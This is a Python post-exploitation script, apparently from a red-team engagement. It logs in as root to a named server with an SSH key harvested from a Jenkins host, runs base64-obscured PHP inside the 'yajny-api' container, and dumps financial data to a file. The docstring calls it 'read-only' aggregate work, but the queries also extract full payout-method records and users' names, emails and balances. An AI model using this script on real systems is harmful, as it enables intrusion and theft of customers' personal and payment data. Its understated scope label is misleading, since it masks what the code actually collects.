#!/usr/bin/env python3
"""Financial level assessment — aggregate queries via docker exec artisan tinker.
Read-only, L2 scope enumeration (auto-approved).
"""
import subprocess, base64, sys

HOST = "root@46.101.74.150"
KEY = "/root/ir-assessment/redteam/yajny/L3/ssh_keys/jenkins-host-id_rsa.pem"
CONTAINER = "yajny-api"

QUERIES = [
    'echo "===FINANCIAL-AGGREGATES===";',
    # Total user balances
    '$b = DB::select("SELECT SUM(confirmed_balance) as total_confirmed, SUM(pending_balance) as total_pending, COUNT(*) as total_users, SUM(CASE WHEN confirmed_balance > 0 THEN 1 ELSE 0 END) as users_with_balance FROM users")[0];',
    'echo "users_total: ".$b->total_users."\n";',
    'echo "users_with_confirmed_balance: ".$b->users_with_balance."\n";',
    'echo "total_confirmed_balance: ".$b->total_confirmed."\n";',
    'echo "total_pending_balance: ".$b->total_pending."\n";',
    # Negative balances
    '$nb = DB::select("SELECT COUNT(*) as cnt, SUM(amount) as total FROM negative_user_balances")[0];',
    'echo "negative_balances_count: ".$nb->cnt."\n";',
    'echo "negative_balances_total: ".$nb->total."\n";',
    # Processed payouts
    '$pp = DB::select("SELECT COUNT(*) as cnt FROM processed_payouts")[0];',
    'echo "processed_payouts_count: ".$pp->cnt."\n";',
    # Payout methods
    '$pm = DB::select("SELECT COUNT(*) as cnt, COUNT(DISTINCT user_id) as unique_users FROM user_payout_methods")[0];',
    'echo "payout_methods_count: ".$pm->cnt."\n";',
    'echo "payout_methods_unique_users: ".$pm->unique_users."\n";',
    # Sales count
    '$s = DB::select("SELECT COUNT(*) as cnt FROM sales")[0];',
    'echo "sales_count: ".$s->cnt."\n";',
    # Balance transactions
    '$bt = DB::select("SELECT COUNT(*) as cnt FROM balance_transactions")[0];',
    'echo "balance_transactions_count: ".$bt->cnt."\n";',
    'echo "===PAYOUT-METHODS-STRUCTURE===";',
    '$c = DB::select("DESCRIBE user_payout_methods"); foreach($c as $col) { echo $col->Field."|".$col->Type."\n"; }',
    'echo "===PROCESSED-PAYOUTS-STRUCTURE===";',
    '$c = DB::select("DESCRIBE processed_payouts"); foreach($c as $col) { echo $col->Field."|".$col->Type."\n"; }',
    'echo "===SALES-STRUCTURE===";',
    '$c = DB::select("DESCRIBE sales"); foreach($c as $col) { echo $col->Field."|".$col->Type."\n"; }',
    'echo "===BALANCE-TRANSACTIONS-STRUCTURE===";',
    '$c = DB::select("DESCRIBE balance_transactions"); foreach($c as $col) { echo $col->Field."|".$col->Type."\n"; }',
    'echo "===PAYOUT-METHODS-SAMPLE-20===";',
    '$pm = DB::select("SELECT * FROM user_payout_methods LIMIT 20");',
    'foreach($pm as $r) { echo json_encode($r)."\n"; }',
    'echo "===PROCESSED-PAYOUTS-SAMPLE-20===";',
    '$pp = DB::select("SELECT * FROM processed_payouts ORDER BY id DESC LIMIT 20");',
    'foreach($pp as $r) { echo json_encode($r)."\n"; }',
    'echo "===TOP-20-USERS-BY-BALANCE===";',
    '$tu = DB::select("SELECT user_id, first_name, email, confirmed_balance, pending_balance, country_code FROM users WHERE confirmed_balance > 0 ORDER BY confirmed_balance DESC LIMIT 20");',
    'foreach($tu as $r) { echo json_encode($r)."\n"; }',
    'echo "===DONE===";',
    'exit;',
]

def run_tinker(queries):
    code = "\n".join(queries)
    b64 = base64.b64encode(code.encode()).decode()
    cmd = [
        "ssh", "-i", KEY, "-o", "BatchMode=yes", "-o", "StrictHostKeyChecking=accept-new",
        HOST,
        f'echo {b64} | base64 -d | docker exec -i {CONTAINER} php /var/www/html/artisan tinker 2>&1'
    ]
    r = subprocess.run(cmd, capture_output=True, text=True, timeout=180)
    return r.stdout, r.stderr, r.returncode

if __name__ == "__main__":
    out, err, rc = run_tinker(QUERIES)
    print(out)
    with open("/root/ir-assessment/redteam/yajny/L3/financial_assessment.txt", "w") as f:
        f.write(out)
